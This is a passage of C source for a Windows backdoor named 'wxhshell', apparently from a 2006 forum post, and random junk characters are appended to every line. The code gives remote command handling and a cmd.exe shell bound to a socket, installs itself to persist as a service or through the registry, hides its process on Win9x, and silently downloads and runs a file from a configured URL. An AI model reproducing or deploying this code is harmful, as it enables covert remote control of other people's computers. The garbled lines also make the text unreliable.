  } Tty_P,  
  else { MKf|(6;~  
#^4p(eZ[}  
    switch(cmd[0]) { WK)hj{k  
  PV$)k>H-  
  // 帮助 6<u =hhL  
  case '?': { [uU"=H|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~_8Dv<"a  
    break; #I8)|p?P  
  } I$7|?8  
  // 安装 8eq*q   
  case 'i': { c!*yxzs\  
    if(Install()) >HNBTc=~t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ne#FBRu5  
    else )eIC5>#.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `@TWZ%f6  
    break; 55q!2>Jh.  
    } FjR/_GPo6  
  // 卸载 E6JfSH#  
  case 'r': { !IF]P#  
    if(Uninstall()) C@d*t?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DcYL8u  
    else .8e]-^Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oy EOb>  
    break; P1C{G'cR  
    } _/V <iv  
  // 显示 wxhshell 所在路径 -LzkM"  
  case 'p': { 6Cw+  
    char svExeFile[MAX_PATH]; fE`p  
    strcpy(svExeFile,"\n\r"); IUf&*'_  
      strcat(svExeFile,ExeFile); uPCzs$R  
        send(wsh,svExeFile,strlen(svExeFile),0); -[/tS<U  
    break; $~7uDq  
    } 3 @ahN2  
  // 重启 Hi%)TDfv  
  case 'b': { ?#s9@R1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -&q@|h'  
    if(Boot(REBOOT)) cD.afy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qlSI|@CO  
    else { =jv3O.zq  
    closesocket(wsh); #dA9v7  
    ExitThread(0); e~oh%l^C72  
    } <<'%2q5  
    break; =z >d GIT1  
    } `vjn,2S}  
  // 关机 )qSjI_qt5  
  case 'd': { `]~1pc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %#t*3[  
    if(Boot(SHUTDOWN)) 9*~bAgkWI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I]GGmN  
    else { ^^,cnDlm  
    closesocket(wsh); u00w'=pe)  
    ExitThread(0); Ic2Q<V}oq  
    } 3JYhF)G  
    break; :1asY:)vNP  
    } B(|*u  
  // 获取shell M( w'TE@  
  case 's': { O06 2c)vIY  
    CmdShell(wsh); /U$5'BoS  
    closesocket(wsh); (aC~0 #4  
    ExitThread(0); `D/<*e,#  
    break; W&~\@j]!D  
  } H!'Ek[s+  
  // 退出 ycq+C8J+Ep  
  case 'x': { n(uzqd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b~$8<\  
    CloseIt(wsh); [>$?/DM  
    break; 35Ro8 5j  
    } N\l|3~  
  // 离开 |N5r_V  
  case 'q': { ~ =GwNo_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P2Jo^WS  
    closesocket(wsh); a = *'  
    WSACleanup(); bv^wE,+?o  
    exit(1); f9K+o-P.h  
    break; 7 D(Eo{ue  
        } KvjsibI/Y  
  } S>Z07d6&  
  }  g^l~AR  
E3hXs6P  
  // 提示信息 ~P7zg!p/q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [][ze2+b  
} E "%d O  
  } |LV}kG(2  
*I:a \o~$[  
  return; )\KU:_l  
} ~xLo0EV "  
oRo[WQla  
// shell模块句柄 ~4+ICCbH  
int CmdShell(SOCKET sock) ]z O6ESH  
{ ;fW`#aE  
STARTUPINFO si; BOfl hoUX  
ZeroMemory(&si,sizeof(si)); y(ceEV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 23d*;ri5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; redMlHM  
PROCESS_INFORMATION ProcessInfo; Sx:JuK@  
char cmdline[]="cmd"; |.KB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {uDH-b(R  
  return 0; qTrM*/m:]L  
} |2E:]wT}qg  
ToK=`0#LNK  
// 自身启动模式 ~|G`f\Ln"  
int StartFromService(void) 4|&_i)S-Y  
{ `@xnpA]l  
typedef struct f AY(ro9Q(  
{ 7@R^B=pb  
  DWORD ExitStatus; B&QEt[=s  
  DWORD PebBaseAddress; 6&+}Hhe  
  DWORD AffinityMask; 0.\}D:x(z  
  DWORD BasePriority; x) jc  
  ULONG UniqueProcessId; )3f<0C>  
  ULONG InheritedFromUniqueProcessId; K=! C\T"I%  
}   PROCESS_BASIC_INFORMATION;  :yw8_D3  
"!Qi$ ]  
PROCNTQSIP NtQueryInformationProcess; b@S~ =  
D GL=\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wg+[T;0S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j #~ S"t  
XRmE  
  HANDLE             hProcess; \_(|$Dhq  
  PROCESS_BASIC_INFORMATION pbi; nx(jYXVT  
T[evh]koB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H|S hi/  
  if(NULL == hInst ) return 0; }uwZS=pw  
3*T/ 7\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C|V5@O?;&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2#   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EQe$~}[  
Sd F+b+P]  
  if (!NtQueryInformationProcess) return 0; d\R "?Sg  
1#3eY? Nb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K]1| #`n  
  if(!hProcess) return 0; b")O#v.  
Z;z,dw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #@' B\!<@=  
JXjH}C  
  CloseHandle(hProcess); ^RE[5h6^q  
U ;A,W$<9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O=eU38n:5u  
if(hProcess==NULL) return 0; Kum" }ux  
^M1jv(  
HMODULE hMod; *k,{[b  
char procName[255]; t7yvd7  
unsigned long cbNeeded; Py?e+[cN  
i=R%MH+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K8/jfm  
E9b>wP  
  CloseHandle(hProcess); 1+"d-`'Z2O  
@Gw.U>"!C  
if(strstr(procName,"services")) return 1; // 以服务启动 ]XcWGQv~  
w`EC6ZN  
  return 0; // 注册表启动 GTi=VSGqF  
} n {\d  
0nvT}[\H*  
// 主模块 i%GiWanG  
int StartWxhshell(LPSTR lpCmdLine) Z`f?7/"B  
{ /U,(u9bq  
  SOCKET wsl; B}P!WRNmln  
BOOL val=TRUE; 1Vkb}A,'  
  int port=0; [wk1p-hf  
  struct sockaddr_in door; Y3#8]Z_"}O  
W9{i~.zo  
  if(wscfg.ws_autoins) Install(); qu.AJ*  
M+M  ;@3  
port=atoi(lpCmdLine); k& M~yb  
XI:+EeM?  
if(port<=0) port=wscfg.ws_port; JC`;hY  
2I3H?Lrx!m  
  WSADATA data; f*:N*cC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 39m8iI%w[  
vTo+jQs^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bxPJ5oT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A>,kmU5  
  door.sin_family = AF_INET; S(Z\h_m(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WL|71?@C  
  door.sin_port = htons(port); :`K2?;DC8  
U# IPYyV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v-8{mK`9\  
closesocket(wsl); ([|^3tM  
return 1; ~;-2eKw  
} ~c5 5LlO>  
~Y{]yBGoF  
  if(listen(wsl,2) == INVALID_SOCKET) { Lr20xm  
closesocket(wsl); 7L!}F;yT  
return 1; 0$NzRPbH  
} M?Fv'YE  
  Wxhshell(wsl); FRL;fF  
  WSACleanup(); txm6[Io  
'f0R/6h\3s  
return 0; gV$0J?Pr.  
Vx:uqzw#  
} mE=Tj%+ x  
2"k|IHs1  
// 以NT服务方式启动 3sRI 7g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V lkJ$f5l  
{ cd~QGP_C  
DWORD   status = 0; |9F-ZH~6  
  DWORD   specificError = 0xfffffff; ZFh[xg'0  
aK(e%Ed t"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +K8T%GAr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (uX"n`Dk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Uu@qS  
  serviceStatus.dwWin32ExitCode     = 0; Q);}1'c  
  serviceStatus.dwServiceSpecificExitCode = 0; t|9vb  
  serviceStatus.dwCheckPoint       = 0; \II^&xSF  
  serviceStatus.dwWaitHint       = 0; xSO5?eR"u  
~[kI! [  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d|`8\fq  
  if (hServiceStatusHandle==0) return; <Fv7JPN%  
APJFy@l}  
status = GetLastError(); t'yh&44_  
  if (status!=NO_ERROR) 7*%}=.  
{ _{ 2`sL)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |MN2v[y  
    serviceStatus.dwCheckPoint       = 0; e|>@ >F]K  
    serviceStatus.dwWaitHint       = 0; QxuU3#l  
    serviceStatus.dwWin32ExitCode     = status; KZ1m 2R}'  
    serviceStatus.dwServiceSpecificExitCode = specificError; *v: .]_;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ZwQ/~7H  
    return; nEP3B '+  
  } _mQj=  
DjiI*HLNR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; il"pKQF  
  serviceStatus.dwCheckPoint       = 0;  R7;X  
  serviceStatus.dwWaitHint       = 0; |Bv,*7i&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EP90E^v^  
} $VP\Ac,!  
/Z~$`!J  
// 处理NT服务事件,比如:启动、停止 EMxMJ=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #)i+'L8  
{ ' QjJ^3A  
switch(fdwControl) :c Er{U8  
{ ?%lfbZ  
case SERVICE_CONTROL_STOP: {9) HB:  
  serviceStatus.dwWin32ExitCode = 0; {%RwZ'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ooCfr?E  
  serviceStatus.dwCheckPoint   = 0; ~ 588md :  
  serviceStatus.dwWaitHint     = 0; * bhb=~  
  { [jxh$}?P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]GsI|se  
  } ay`R jT  
  return; !aJ6Uf%R  
case SERVICE_CONTROL_PAUSE: G8MLg#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zlt,Us`  
  break; iSfRo 31  
case SERVICE_CONTROL_CONTINUE: |oePB<N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \@T;/Pj{[  
  break; sPl3JP&s  
case SERVICE_CONTROL_INTERROGATE: {qU;>;(  
  break; 8A/rkoht*  
}; P)hGe3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d/@P;YN!  
} ?5^DQ|Hg ^  
0QW;=@)d  
// 标准应用程序主函数 ($8!r|g5#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4Me3{!HJz  
{ )T&r770  
$" =3e]<  
// 获取操作系统版本 ka{!' ^  
OsIsNt=GetOsVer(); Mhb~wDQl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E8t{[N6d  
<xrya _R?  
  // 从命令行安装 s;[=B  
  if(strpbrk(lpCmdLine,"iI")) Install(); X`-o0HG  
L)S V?FBx  
  // 下载执行文件 -6X+:r`>u  
if(wscfg.ws_downexe) { - (q7"h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) et(AO)uv6  
  WinExec(wscfg.ws_filenam,SW_HIDE); "ub0}p4V  
} r^ '  
RMid}BRE  
if(!OsIsNt) { DK'S4%;Sp  
// 如果时win9x,隐藏进程并且设置为注册表启动 ytV[x  
HideProc(); JW=q'ibR  
StartWxhshell(lpCmdLine); cK\?wZ| Y  
} e5"5 U7  
else H|MAbx 7  
  if(StartFromService()) [A] +Azc  
  // 以服务方式启动 t1$pl6&,  
  StartServiceCtrlDispatcher(DispatchTable); I*g[Y=  
else NSR][h_  
  // 普通方式启动 #BgiDLh  
  StartWxhshell(lpCmdLine); +CXq41g"c  
{d)L0KXK  
return 0; hvA|d=R(  
}
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只看该作者 1 发表于: 2006-10-10
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